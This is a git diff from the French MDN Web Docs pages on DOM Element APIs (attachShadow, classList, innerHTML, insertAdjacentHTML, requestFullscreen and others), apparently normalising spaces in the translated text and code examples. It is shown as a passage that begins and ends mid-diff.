[`ShadowRoot`](/en-US/docs/Web/API/ShadowRoot). +La méthode **`Element.attachShadow()`** attache un arbre Shadow DOM à un élément spécifié et retourne une référence à son [`ShadowRoot`](/en-US/docs/Web/API/ShadowRoot). ## Syntaxe @@ -15,15 +15,15 @@ La méthode **`Element.attachShadow()`** attache un arbre Shadow DOM à un él - `shadowRootInit` - - : Un dictionnaire `ShadowRootInit`, avec les propriétés suivantes : + - : Un dictionnaire `ShadowRootInit`, avec les propriétés suivantes : - `mode` : une chaîne de caractères spécifiant le *mode d'encapsulation* de l'arbre du Shadow DOM, parmi les options suivantes : - `open` : spécifie une encapsulation ouverte. - - `closed` : spécifie une encapsulation fermée. + - `closed` : spécifie une encapsulation fermée. ### Retour -Retourne un {{domxref("ShadowRoot")}}. +Retourne un {{domxref("ShadowRoot")}}. ## Spécifications diff --git a/files/fr/web/api/element/attributes/index.md b/files/fr/web/api/element/attributes/index.md index bca756ce34..c1142654af 100644 --- a/files/fr/web/api/element/attributes/index.md +++ b/files/fr/web/api/element/attributes/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Element/attributes --- {{ APIRef("DOM") }} -La propriété **`Element.attributes`** renvoie une collection des noeuds d'attribut enregistrés dans le noeud spécifié. Il est une {{domxref("NamedNodeMap")}}, pas un tableau (_Array_), aussi il n'a pas de méthodes {{jsxref("Array")}} et l'index de noeud {{domxref("Attr")}} peuvent différer entre les navigateurs. Pour être plus précis, les `attributs` sont une paire clé / valeur de chaînes représentant toutes les informations concernant cet attribut. +La propriété **`Element.attributes`** renvoie une collection des noeuds d'attribut enregistrés dans le noeud spécifié. Il est une {{domxref("NamedNodeMap")}}, pas un tableau (_Array_), aussi il n'a pas de méthodes {{jsxref("Array")}} et l'index de noeud {{domxref("Attr")}} peuvent différer entre les navigateurs. Pour être plus précis, les `attributs` sont une paire clé / valeur de chaînes représentant toutes les informations concernant cet attribut. ## Syntaxe diff --git a/files/fr/web/api/element/childelementcount/index.md b/files/fr/web/api/element/childelementcount/index.md index 93395d4adc..b8330cf369 100644 --- a/files/fr/web/api/element/childelementcount/index.md +++ b/files/fr/web/api/element/childelementcount/index.md @@ -16,7 +16,7 @@ original_slug: Web/API/ParentNode/childElementCount La propriété **`ParentNode.childElementCount`** en lecture seule renvoie un `unsigned long` (_long non signé_) représentant le nombre d'élèments fils de l'élément donné. > **Note :** Cette propriété a été définie dans la pure interface {{domxref("ElementTraversal")}}. -> Comme cette interface contenait deux différents jeux de propriétés, l'un visant les {{domxref("Node")}} (_noeuds_) qui ont des enfants, l'autre les enfants, ils ont été déplacés dans deux interfaces pures, {{domxref("ParentNode")}} et {{domxref("ChildNode")}}. Dans ce cas, `childElementCount` a été rattaché à {{domxref("ParentNode")}}. C'est un changement assez technique qui ne devrait pas affecter la compatibilité. +> Comme cette interface contenait deux différents jeux de propriétés, l'un visant les {{domxref("Node")}} (_noeuds_) qui ont des enfants, l'autre les enfants, ils ont été déplacés dans deux interfaces pures, {{domxref("ParentNode")}} et {{domxref("ChildNode")}}. Dans ce cas, `childElementCount` a été rattaché à {{domxref("ParentNode")}}. C'est un changement assez technique qui ne devrait pas affecter la compatibilité. ## Syntaxe diff --git a/files/fr/web/api/element/classlist/index.md b/files/fr/web/api/element/classlist/index.md index 0674c2aa52..33dc2a5aab 100644 --- a/files/fr/web/api/element/classlist/index.md +++ b/files/fr/web/api/element/classlist/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Element/classList --- {{APIRef("DOM")}} -La propriété en lecture seule **`Element.classList`** retourne une collection directe {{domxref("DOMTokenList")}} des attributs de classe de l'élément. +La propriété en lecture seule **`Element.classList`** retourne une collection directe {{domxref("DOMTokenList")}} des attributs de classe de l'élément. L'utilisation de `classList` est une alternative à la propriété {{domxref("element.className")}} qui renvoie une chaine composée de la liste des classes, séparées par des espaces. @@ -26,12 +26,12 @@ _elementClasses_ est une [DOMTokenList](/en-US/docs/DOM/DOMTokenList) représent - add( String \[, String] ) - : Ajoute les classes spécifiées. Si une classe est déjà assignée en attribut de cet élément, elle est ignorée. -- remove( String \[, String] ) +- remove( String \[, String] ) - : Supprime les classes spécifiées. **Note:** Supprimer une classe qui n'existe pas NE génère PAS d'erreurs. - **item**( Number ) - : Renvoie la position d'une classe dans une collection. -- **toggle**( String \[, force] ) +- **toggle**( String \[, force] ) - : Si un seul argument est présent : change la présence d'une classe dans la liste. Si la classe existe, alors la supprime et renvoie `false`, dans le cas inverse, ajoute cette classe et retourne `true`. Si le second argument est présent : Si l'argument `force` est à `true`, ajoute cette classe, si l'argument est à `false`, la supprime. - contains( String ) @@ -86,7 +86,7 @@ La polyfill suivante pour `classList` et `DOMTokenList` garantit une conformité ```js // 1. String.prototype.trim polyfill -if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; +if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error; var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) { diff --git a/files/fr/web/api/element/classname/index.md b/files/fr/web/api/element/classname/index.md index fc6162de3e..1304f960e3 100644 --- a/files/fr/web/api/element/classname/index.md +++ b/files/fr/web/api/element/classname/index.md @@ -34,9 +34,9 @@ if(elm.className === 'active'){ ## Notes -Le nom `className` est utilisé pour cette propriété au lieu de `class` à cause de conflits éventuels avec le mot-clé « class » dans beaucoup de langages utilisés pour manipuler le DOM. +Le nom `className` est utilisé pour cette propriété au lieu de `class` à cause de conflits éventuels avec le mot-clé « class » dans beaucoup de langages utilisés pour manipuler le DOM. -`className` peut être une instance de {{domxref("SVGAnimatedString")}} si l'`element` est un {{domxref("SVGElement")}}. Dans ce cas là, l'usage de `className` ne fonctionnera pas, il sera donc préférable d'utiliser {{domxref("Element.getAttribute")}} et {{domxref("Element.setAttribute")}} si vous utilisez des élements SVG. +`className` peut être une instance de {{domxref("SVGAnimatedString")}} si l'`element` est un {{domxref("SVGElement")}}. Dans ce cas là, l'usage de `className` ne fonctionnera pas, il sera donc préférable d'utiliser {{domxref("Element.getAttribute")}} et {{domxref("Element.setAttribute")}} si vous utilisez des élements SVG. ```js elm.setAttribute('class', elm.getAttribute('class')) diff --git a/files/fr/web/api/element/closest/index.md b/files/fr/web/api/element/closest/index.md index a805089953..8ccb34f33d 100644 --- a/files/fr/web/api/element/closest/index.md +++ b/files/fr/web/api/element/closest/index.md @@ -86,7 +86,7 @@ if (!Element.prototype.closest) }; ``` -Cependant, si vous avez besoin de supporter IE 8, vous pouvez utiliser la prothèse suivante qui marchera, mais beaucoup plus lentement. Elle ne supporte que les sélecteurs CSS 2.1 dans IE 8, et peut causer de gros pics de latence dans les sites web : +Cependant, si vous avez besoin de supporter IE 8, vous pouvez utiliser la prothèse suivante qui marchera, mais beaucoup plus lentement. Elle ne supporte que les sélecteurs CSS 2.1 dans IE 8, et peut causer de gros pics de latence dans les sites web : ```js if (window.Element && !Element.prototype.closest) { diff --git a/files/fr/web/api/element/compositionend_event/index.md b/files/fr/web/api/element/compositionend_event/index.md index 3032e6c928..77974b2ec2 100644 --- a/files/fr/web/api/element/compositionend_event/index.md +++ b/files/fr/web/api/element/compositionend_event/index.md @@ -50,7 +50,7 @@ Par exemple, cette événement pourrait être déclanché quand un utilisateur s body { padding: .2rem; display: grid; - grid-template-areas: "control log"; + grid-template-areas: "control log"; } .control { diff --git a/files/fr/web/api/element/compositionstart_event/index.md b/files/fr/web/api/element/compositionstart_event/index.md index 55971fdc43..c9c4b8f3cc 100644 --- a/files/fr/web/api/element/compositionstart_event/index.md +++ b/files/fr/web/api/element/compositionstart_event/index.md @@ -62,7 +62,7 @@ inputElement.addEventListener('compositionstart', (event) => { body { padding: .2rem; display: grid; - grid-template-areas: "control log"; + grid-template-areas: "control log"; } .control { diff --git a/files/fr/web/api/element/error_event/index.md b/files/fr/web/api/element/error_event/index.md index 1f0a577102..f884e24cd0 100644 --- a/files/fr/web/api/element/error_event/index.md +++ b/files/fr/web/api/element/error_event/index.md @@ -17,7 +17,7 @@ L'événement **error** _(erreur)_ est déclenché lorsqu'une ressource n'a pas - Spécification - : [DOM L3](http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error) - Interface - - : {{domxref("UIEvent")}} si généré depuis l'interface utilisateur, {{domxref("MediaRecorderErrorEvent")}} si généré par [MediaStream Recording API](/en-US/docs/Web/API/MediaStream_Recording_API) et sinon {{domxref("Event")}}. + - : {{domxref("UIEvent")}} si généré depuis l'interface utilisateur, {{domxref("MediaRecorderErrorEvent")}} si généré par [MediaStream Recording API](/en-US/docs/Web/API/MediaStream_Recording_API) et sinon {{domxref("Event")}}. - Propagation - : Non - Annulable @@ -49,6 +49,6 @@ Ces évènements sont d'un type {{domxref("MediaRecorderErrorEvent")}}. - {{domxref("GlobalEventHandlers.onerror")}} - : Évènements envoyés à {{domxref("Window.onerror")}} et à {{domxref("Element.onerror")}} - {{domxref("HTMLMediaElement.onerror")}} - - : Évènements envoyés à {{domxref("HTMLMediaElement")}} incluant {{HTMLElement("audio")}} et {{HTMLElement("video")}} . + - : Évènements envoyés à {{domxref("HTMLMediaElement")}} incluant {{HTMLElement("audio")}} et {{HTMLElement("video")}} . - {{domxref("MediaRecorder.onerror")}} - : Évènements envoyés à {{domxref("MediaRecorder.onerror")}} , d'un type {{domxref("MediaRecorderErrorEvent")}} diff --git a/files/fr/web/api/element/getattribute/index.md b/files/fr/web/api/element/getattribute/index.md index fdd728353b..ab944ed9ed 100644 --- a/files/fr/web/api/element/getattribute/index.md +++ b/files/fr/web/api/element/getattribute/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Element/getAttribute --- {{APIRef("DOM")}} -`getAttribute` renvoie la valeur d'un attribut donné de l'élément spécifié. Si l'attribut n'existe pas, la valeur renvoyée sera soit `null` soit `""` (une chaine vide) ; voir {{ Anch("Notes") }} pour plus de détails. +`getAttribute` renvoie la valeur d'un attribut donné de l'élément spécifié. Si l'attribut n'existe pas, la valeur renvoyée sera soit `null` soit `""` (une chaine vide) ; voir {{ Anch("Notes") }} pour plus de détails. ## Syntaxe diff --git a/files/fr/web/api/element/getattributenode/index.md b/files/fr/web/api/element/getattributenode/index.md index f805ace861..d0dea38583 100644 --- a/files/fr/web/api/element/getattributenode/index.md +++ b/files/fr/web/api/element/getattributenode/index.md @@ -44,5 +44,5 @@ Les nœuds `Attr` héritent de `Node`, mais ne sont pas considérés comme faisa ## Spécification -- [DOM Level 2 Core : getAttributeNode](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-217A91B8) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-217A91B8) (non normative) +- [DOM Level 2 Core : getAttributeNode](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-217A91B8) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-217A91B8) (non normative) - [HTML 5: APIs in HTML documents](http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents) diff --git a/files/fr/web/api/element/getattributens/index.md b/files/fr/web/api/element/getattributens/index.md index 39c6079fbe..7a9efeb1ad 100644 --- a/files/fr/web/api/element/getattributens/index.md +++ b/files/fr/web/api/element/getattributens/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Element/getAttributeNS --- {{APIRef("DOM")}} -**`getAttributeNS()`** est une méthode de l'interface {{domxref("Element")}} qui renvoie la valeur chaîne de l'attribut avec l'espace de noms et le nom donnés. Si l'attribut nommé n'existe pas, cette valeur sera soit `null`, soit `""` (une chaîne vide) ; voir {{ Anch("Notes") }} pour plus de détails. +**`getAttributeNS()`** est une méthode de l'interface {{domxref("Element")}} qui renvoie la valeur chaîne de l'attribut avec l'espace de noms et le nom donnés. Si l'attribut nommé n'existe pas, cette valeur sera soit `null`, soit `""` (une chaîne vide) ; voir {{ Anch("Notes") }} pour plus de détails. ## Syntaxe @@ -25,7 +25,7 @@ translation_of: Web/API/Element/getAttributeNS ### Valeur de retour -La valeur de chaîne de caractères de l'attribut spécifié. Si l'attribut n'existe pas, le résultat est `null`. +La valeur de chaîne de caractères de l'attribut spécifié. Si l'attribut n'existe pas, le résultat est `null`. > **Note :** Les versions antérieures de la spécification DOM avaient cette méthode décrite comme renvoyant une chaîne vide pour des attributs inexistants, mais elle n'était généralement pas implémentée de cette façon, car null a plus de sens. La spécification DOM4 indique maintenant que cette méthode devrait retourner null pour les attributs inexistants. @@ -76,7 +76,7 @@ Dans un document HTML5, il faut utiliser `test:foo` pour accéder à l'attribut Les espaces de noms sont uniquement pris en charge dans les documents XML, Les documents HTML5 doivent utiliser à la place `getAttribute()` . -La méthode `getAttributeNS` diffère de {{domxref("element.getAttribute()", "getAttribute()")}} en ce qu'elle permet de spécifier les attributs faisant partie d'un espace de noms particulier, comme dans l'exemple précédent, où l'attribut fait partie d'un espace de noms fictif « specialspace » de mozilla. +La méthode `getAttributeNS` diffère de {{domxref("element.getAttribute()", "getAttribute()")}} en ce qu'elle permet de spécifier les attributs faisant partie d'un espace de noms particulier, comme dans l'exemple précédent, où l'attribut fait partie d'un espace de noms fictif « specialspace » de mozilla. Avant la spécification DOM4, cette méthode était spécifiée pour renvoyer une chaîne vide plutôt que null pour les attributs inexistants. Cependant, la plupart des navigateurs ont renvoyé null. À partir de DOM4, la spécification dit maintenant de retourner null. Cependant, certains navigateurs plus anciens renvoient une chaîne vide. Pour cette raison, vous devez utiliser {{domxref("element.hasAttributeNS ()","hasAttributeNS ()")}} pour vérifier l'existence d'un attribut avant d'appeler `getAttributeNS()` s'il est possible que l'attribut demandé n'existe pas sur l'élément spécifié. @@ -86,8 +86,8 @@ Avant la spécification DOM4, cette méthode était spécifiée pour renvoyer un | Spécification | État | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName("DOM WHATWG", "#dom-element-getattributens", "Element.getAttributeNS()")}} | {{Spec2("DOM WHATWG")}} | | -| {{SpecName("DOM3 Core", "#ID-ElGetAttrNS", "Element.getAttributeNS()")}} | {{Spec2("DOM3 Core")}} | Specifie qu'une exception `NOT_SUPPORTED_ERR` est levée si l'agent utilisateur ne supporte pas la fonctionnalité `"XML"`. Spécifie également que `null` doit être passé pour n'avoir aucun espace de noms. | +| {{SpecName("DOM WHATWG", "#dom-element-getattributens", "Element.getAttributeNS()")}} | {{Spec2("DOM WHATWG")}} | | +| {{SpecName("DOM3 Core", "#ID-ElGetAttrNS", "Element.getAttributeNS()")}} | {{Spec2("DOM3 Core")}} | Specifie qu'une exception `NOT_SUPPORTED_ERR` est levée si l'agent utilisateur ne supporte pas la fonctionnalité `"XML"`. Spécifie également que `null` doit être passé pour n'avoir aucun espace de noms. | | {{SpecName("DOM2 Core", "#ID-ElGetAttrNS", "Element.getAttributeNS()")}} | {{Spec2("DOM2 Core")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/element/getboundingclientrect/index.md b/files/fr/web/api/element/getboundingclientrect/index.md index 06630172c1..d365d82632 100644 --- a/files/fr/web/api/element/getboundingclientrect/index.md +++ b/files/fr/web/api/element/getboundingclientrect/index.md @@ -88,7 +88,7 @@ Remarquez aussi que les valeurs de `x`/`left`, L'objet `DOMRect` retourné peut être modifié dans les navigateurs modernes. Cela n'était pas le cas avec ceux plus anciens qui retournaient effectivement `DOMRectReadOnly`. Dans IE et Edge, ne pas pouvoir ajouter les propriétés manquantes à l'objet [`ClientRect`](https://docs.microsoft.com/fr-fr/previous-versions/hh826029(v=vs.85)) qu'ils retournent empêche d'ajouter le support de `x` et `y`. -En raison de problèmes de compatibilité (voir ci-dessous), il est plus sûr de se limiter aux propriétés `top`, `left`, `right`, et `bottom`. +En raison de problèmes de compatibilité (voir ci-dessous), il est plus sûr de se limiter aux propriétés `top`, `left`, `right`, et `bottom`. Les propriétés dans l'objet `DOMRect` retourné ne sont pas possèdées pas ce dernier. Tandis que les opérateurs `in` et `for...in` vont trouver les propriétés retournées, les autres APIs comme Object.keys échoueront. De plus, et de façon inattendue, les fonctionnalités ES2015 et plus récentes telles que `Object.assign()` et les paramètres du reste / la décomposition d'un objet, ne réussiront pas à copier les propriétés retournées. diff --git a/files/fr/web/api/element/getelementsbyclassname/index.md b/files/fr/web/api/element/getelementsbyclassname/index.md index 1f729a405b..be9a8a9bb6 100644 --- a/files/fr/web/api/element/getelementsbyclassname/index.md +++ b/files/fr/web/api/element/getelementsbyclassname/index.md @@ -12,39 +12,39 @@ translation_of: Web/API/Element/getElementsByClassName --- {{APIRef("DOM")}} -La méthode **`Element.getElementsByClassName()`** retourne une {{domxref("HTMLCollection")}} contenant une référence sur tous les éléments ayant les noms de classes passés en paramètre. Quand la méthode est appelée sur l'objet document, la recherche s'effectue dans le document complet, noeud racine compris. +La méthode **`Element.getElementsByClassName()`** retourne une {{domxref("HTMLCollection")}} contenant une référence sur tous les éléments ayant les noms de classes passés en paramètre. Quand la méthode est appelée sur l'objet document, la recherche s'effectue dans le document complet, noeud racine compris. -À l'instar de la méthode {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} qui agit sur le document entier ; elle va retourner les descendants de l'élément spécifié comme document root qui auront les noms de classes passés en paramètre. +À l'instar de la méthode {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} qui agit sur le document entier ; elle va retourner les descendants de l'élément spécifié comme document root qui auront les noms de classes passés en paramètre. ## Syntaxe var elements = element.getElementsByClassName(names); -- **elements** est une {{ domxref("HTMLCollection") }} de référence vers les élements trouvés. -- **names** est une chaine représentant la liste des noms de classes à trouver; les noms de classes sont séparés par un espace. -- *element* est n'importe quel {{domxref("Element")}} du document. +- **elements** est une {{ domxref("HTMLCollection") }} de référence vers les élements trouvés. +- **names** est une chaine représentant la liste des noms de classes à trouver; les noms de classes sont séparés par un espace. +- *element* est n'importe quel {{domxref("Element")}} du document. ## Exemples -Obtient tous les élements ayant une classe `test`: +Obtient tous les élements ayant une classe `test`: ```js element.getElementsByClassName('test'); ``` -Obtient tous les élements ayant à la fois la classe `red` et la classe `test`: +Obtient tous les élements ayant à la fois la classe `red` et la classe `test`: ```js element.getElementsByClassName('red test'); ``` -Obtient tous les élements qui ont une classe `test`, à l'intérieur d'un élement qui a pour id `main`: +Obtient tous les élements qui ont une classe `test`, à l'intérieur d'un élement qui a pour id `main`: ```js document.getElementById('main').getElementsByClassName('test'); ``` -On peut aussi utiliser les méthodes de {{jsxref("Array.prototype")}} sur chaque {{ domxref("HTMLCollection") }} en passant la `HTMLCollection` comme valeur *this* de la méthode. Ci-dessous on trouvera tous les {{HTMLElement("div")}} avec une classe `test`: +On peut aussi utiliser les méthodes de {{jsxref("Array.prototype")}} sur chaque {{ domxref("HTMLCollection") }} en passant la `HTMLCollection` comme valeur *this* de la méthode. Ci-dessous on trouvera tous les {{HTMLElement("div")}} avec une classe `test`: ```js var testElements = document.getElementsByClassName('test'); diff --git a/files/fr/web/api/element/innerhtml/index.md b/files/fr/web/api/element/innerhtml/index.md index 8fe3f15e3b..45395751aa 100644 --- a/files/fr/web/api/element/innerhtml/index.md +++ b/files/fr/web/api/element/innerhtml/index.md @@ -26,7 +26,7 @@ Pour insérer le HTML dans le document, plutôt que de remplacer le contenu d'un ### Valeur -Une {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de `innerHTML` supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne `htmlString`. +Une {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de `innerHTML` supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne `htmlString`. ### Exceptions @@ -71,7 +71,7 @@ document.documentElement.innerHTML = "<pre>" + #### Détails opérationnels -Qu'arrive-t-il exactement quand vous définissez la valeur de `innerHTML` ? Cela entraîne l'agent utilisateur à suivre ces étapes : +Qu'arrive-t-il exactement quand vous définissez la valeur de `innerHTML` ? Cela entraîne l'agent utilisateur à suivre ces étapes : 1. La valeur spécifiée est analysée en HTML ou XML (en fonction du type de document), ce qui donne un objet {{domxref ("DocumentFragment")}} représentant le nouvel ensemble de nœuds DOM pour les nouveaux éléments. 2. Si l'élément dont le contenu est remplacé est un élément {{HTMLElement ("template")}}, l'attribut {{domxref ("HTMLTemplateElement.content", "content")}} de l'élément `<template>` est remplacé par le nouveau `DocumentFragment` créé à l'étape 1. diff --git a/files/fr/web/api/element/insertadjacentelement/index.md b/files/fr/web/api/element/insertadjacentelement/index.md index f13f332b60..81ba5d9deb 100644 --- a/files/fr/web/api/element/insertadjacentelement/index.md +++ b/files/fr/web/api/element/insertadjacentelement/index.md @@ -21,7 +21,7 @@ La méthode `insertAdjacentElement()` insère un noeud d'élément donné à une - position - - : Un objet {{domxref("DOMString")}} (_chaîne de caractères_) représentant la position par rapport à `targetElement` ; cela doit correspondre ( sans prendre en compte la casse ) à une des chaînes suivantes : + - : Un objet {{domxref("DOMString")}} (_chaîne de caractères_) représentant la position par rapport à `targetElement` ; cela doit correspondre ( sans prendre en compte la casse ) à une des chaînes suivantes : - `'beforebegin'` : Avant `targetElement` lui-même. - `'afterbegin'` : A l'intérieur de `targetElement`, avant son premier enfant. @@ -76,7 +76,7 @@ afterBtn.addEventListener('click', function() { }); ``` -Une démo de notre [insertAdjacentElement.html](https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentElement.html) est disponible sur Github ( avec le [code source](https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentElement.html) ). Nous avons un ensemble d'éléments {{htmlelement("div")}} dans un conteneur. Quand un élément reçoit un clic, il est sélectionné et vous pouvez appuyer sur les boutons _Insert before_ (_insérer avant_) et _Insert after_ (_insérer après_) pour insérer de nouveaux divs avant ou après l'élement sélectionné en utilisant `insertAdjacentElement()`. +Une démo de notre [insertAdjacentElement.html](https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentElement.html) est disponible sur Github ( avec le [code source](https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentElement.html) ). Nous avons un ensemble d'éléments {{htmlelement("div")}} dans un conteneur. Quand un élément reçoit un clic, il est sélectionné et vous pouvez appuyer sur les boutons _Insert before_ (_insérer avant_) et _Insert after_ (_insérer après_) pour insérer de nouveaux divs avant ou après l'élement sélectionné en utilisant `insertAdjacentElement()`. ## Spécification diff --git a/files/fr/web/api/element/insertadjacenthtml/index.md b/files/fr/web/api/element/insertadjacenthtml/index.md index fa6a26e810..b123e61350 100644 --- a/files/fr/web/api/element/insertadjacenthtml/index.md +++ b/files/fr/web/api/element/insertadjacenthtml/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Element/insertAdjacentHTML --- {{APIRef("DOM")}} -`insertAdjacentHTML()` analyse le texte spécifié en tant que HTML ou XML et insère les noeuds résultants dans le DOM à la position spécifiée. L'élement qui est utilisé n'est pas réanalysé et les élements qu'il contient ne sont donc pas corrompus. Ceci, et le fait d'éviter la sérialisation supplémentaire, rend la fonction plus rapide et directe que **innerHTML**. +`insertAdjacentHTML()` analyse le texte spécifié en tant que HTML ou XML et insère les noeuds résultants dans le DOM à la position spécifiée. L'élement qui est utilisé n'est pas réanalysé et les élements qu'il contient ne sont donc pas corrompus. Ceci, et le fait d'éviter la sérialisation supplémentaire, rend la fonction plus rapide et directe que **innerHTML**. ## Syntaxe @@ -21,11 +21,11 @@ element.insertAdjacentHTML(position, text); ### Paramètres - `position` - - : une {{domxref("DOMString")}} représentant la position relative à l'`element`, et doit être une des chaînes de caractères suivantes : + - : une {{domxref("DOMString")}} représentant la position relative à l'`element`, et doit être une des chaînes de caractères suivantes : <!----> -- `'beforebegin'` : Avant l'`element` lui-même. +- `'beforebegin'` : Avant l'`element` lui-même. - `'afterbegin'` : Juste à l'intérieur de l'`element` , avant son premier enfant. - `'beforeend'` : Juste à l'intérieur de l'`element` , après son dernier enfant. - `'afterend'` : Après `element` lui-même. @@ -33,7 +33,7 @@ element.insertAdjacentHTML(position, text); <!----> - `text` - - : est la chaîne de caractères qui doit être analysée en tant qu'HTML ou XML et insérée dans l'arbre du DOM. + - : est la chaîne de caractères qui doit être analysée en tant qu'HTML ou XML et insérée dans l'arbre du DOM. ### Visualisation des noms de position @@ -45,7 +45,7 @@ element.insertAdjacentHTML(position, text); </p> <!-- afterend --> -> **Note :** Les positions `beforebegin` et `afterend` ne fonctionnent que si le noeud est un arbre et a un élément parent. +> **Note :** Les positions `beforebegin` et `afterend` ne fonctionnent que si le noeud est un arbre et a un élément parent. ## Exemple diff --git a/files/fr/web/api/element/insertadjacenttext/index.md b/files/fr/web/api/element/insertadjacenttext/index.md index 2ecca80491..0ceb55ad45 100644 --- a/files/fr/web/api/element/insertadjacenttext/index.md +++ b/files/fr/web/api/element/insertadjacenttext/index.md @@ -74,13 +74,13 @@ Vous pouvez utiliser une émulation de la méthode `insertAdjacentText()` dans I if (!Element.prototype.insertAdjacentText) Element.prototype.insertAdjacentText = function(type, txt){ - this.insertAdjacentHTML( + this.insertAdjacentHTML( type, (txt+'') // convertir en chaîne de caractères - .replace(/&/g, '&') // intégrer des symboles d'esperluette - .replace(/</g, '<') // intégrer les symboles "plus petit que" - ) - } + .replace(/&/g, '&') // intégrer des symboles d'esperluette + .replace(/</g, '<') // intégrer les symboles "plus petit que" + ) + } ## Spécification diff --git a/files/fr/web/api/element/outerhtml/index.md b/files/fr/web/api/element/outerhtml/index.md index 2a57085dbf..13f9020898 100644 --- a/files/fr/web/api/element/outerhtml/index.md +++ b/files/fr/web/api/element/outerhtml/index.md @@ -24,14 +24,14 @@ element.outerHTML = htmlString; ### Valeur -La lecture de la valeur de `outerHTML` renvoie une {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de `innerHTML` supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne `htmlString`. +La lecture de la valeur de `outerHTML` renvoie une {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de `innerHTML` supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne `htmlString`. ### Exceptions - `SyntaxError` - : Une tentative a été faite de définir la valeur de `outerHTML` en utilisant une chaîne qui n'est pas correctement formée HTML. - `NoModificationAllowedError` - - : Une tentative a été faite de définir `outerHTML` sur un élément qui est enfant direct du {{domxref("Document")}}, tel que {{domxref("Document.documentElement")}}. + - : Une tentative a été faite de définir `outerHTML` sur un élément qui est enfant direct du {{domxref("Document")}}, tel que {{domxref("Document.documentElement")}}. ## Exemples diff --git a/files/fr/web/api/element/removeattributenode/index.md b/files/fr/web/api/element/removeattributenode/index.md index 3f362cfe95..5a10ca8817 100644 --- a/files/fr/web/api/element/removeattributenode/index.md +++ b/files/fr/web/api/element/removeattributenode/index.md @@ -33,10 +33,10 @@ d.removeAttributeNode(d_align); Si l'attribut enlevé a une valeur par défaut, celle-ci remplace immédiatement l'ancienne. Lorsque c'est possible, l'attribut de remplacement conserve la même URI d'espace de noms et le même nom local, ainsi que le préfixe original. -Il n'y a pas de `removeAttributeNodeNS` (contrairement à la paire `setAttributeNode` et `setAttributeNodeNS` pour lesquels il est nécessaire de savoir quel attribut remplacer (le cas échéant), `removeAttributeNode` n'a pas cette exigence. `removeAttributeNode` peut supprimer des attributs, qu'ils soient d'espace de noms ou pas. +Il n'y a pas de `removeAttributeNodeNS` (contrairement à la paire `setAttributeNode` et `setAttributeNodeNS` pour lesquels il est nécessaire de savoir quel attribut remplacer (le cas échéant), `removeAttributeNode` n'a pas cette exigence. `removeAttributeNode` peut supprimer des attributs, qu'ils soient d'espace de noms ou pas. {{ DOMAttributeMethods() }} ## Spécification -- [DOM Level 2 Core : removeAttributeNode](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-D589198) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-D589198) (non normative) +- [DOM Level 2 Core : removeAttributeNode](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-D589198) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-D589198) (non normative) diff --git a/files/fr/web/api/element/removeattributens/index.md b/files/fr/web/api/element/removeattributens/index.md index 58ce20f5c2..eb5a5ab3af 100644 --- a/files/fr/web/api/element/removeattributens/index.md +++ b/files/fr/web/api/element/removeattributens/index.md @@ -27,7 +27,7 @@ Dans Firefox 3 et postérieurs, cette méthode réinitialise les valeurs DOM à // special:specialAlign="utterleft" width="200px" /> d = document.getElementById("div1"); d.removeAttributeNS("http://www.mozilla.org/ns/specialspace", "specialAlign"); - // l'élément est devenu : <div id="div1" width="200px" /> + // l'élément est devenu : <div id="div1" width="200px" /> ## Notes diff --git a/files/fr/web/api/element/requestfullscreen/index.md b/files/fr/web/api/element/requestfullscreen/index.md index 5cf2f6c4ef..5463e81dab 100644 --- a/files/fr/web/api/element/requestfullscreen/index.md +++ b/files/fr/web/api/element/requestfullscreen/index.md @@ -8,13 +8,13 @@ translation_of: Web/API/Element/requestFullScreen --- {{APIRef("Fullscreen API")}} -La méthode **`Element.requestFullscreen()`** envoie une requête asynchrone pour que l'élément soit affiché en plein écran. +La méthode **`Element.requestFullscreen()`** envoie une requête asynchrone pour que l'élément soit affiché en plein écran. -Il n'y a aucune garantie que l'élément passera effectivement en mode plein écran. Si la permission d'entrer en plein écran est acquise, le document recevra un événement {{event("fullscreenchange")}} pour l'informer qu'il est désormais en mode plein écran. Si la permission est refusée, le document recevra un événement {{event('fullscreenerror')}} à la place. +Il n'y a aucune garantie que l'élément passera 